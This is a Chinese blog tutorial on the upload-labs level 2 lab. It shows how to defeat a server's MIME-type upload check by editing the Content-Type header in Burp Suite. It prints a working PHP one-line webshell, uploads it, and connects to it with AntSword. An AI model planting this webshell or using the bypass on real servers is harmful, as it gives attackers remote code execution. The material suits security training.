MIME(Multipurpose Internet Mail Extensions)类型绕过

MIME(Multipurpose Internet Mail Extensions)绕过

服务端MIME类型检测是通过检查http包的Content-Type字段中的值来判断上传文件是否合法的,因此在文件上传时把数据包中的Content-Type值更改为image/png就可以达到绕过的目的。

环境准备

首先打开一个上传环境(靶场是upload-labs第二关)进行实验。
然后写一个PHP的一句话木马备用https://blog.csdn.net/qq_46023525/article/details/125471341?spm=1001.2014.3001.5501

k.php

<?php
eval($_POST['k'])
?>

在上传框选择k.php上传
在这里插入图片描述

然后提示文件类型不正确,现在打开网页代码。
在这里插入图片描述

可以看到表单中有事件检测,但没有对应的函数,应该是没有JS检测。
打开burpsuite 开启监听 再次上传k.php 。当burpsuite抓取到数据包时,说明网页上JS并没有检测文件后缀名。接下来在抓取到数据包中将Content-Type字段的值application/octet-stream修改为image/png,点击forward。
在这里插入图片描述
可以看见已经上传成功了,由于不是图片所以显示一个黑框。
在这里插入图片描述
然后按F12打开浏览器控制台定位目标的html代码,查看上传之后的路径。
在这里插入图片描述
可以看到上传的路径为./upload/k.php
然后使用中国蚁剑连接
在这里插入图片描述


版权声明:本文为qq_46023525原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。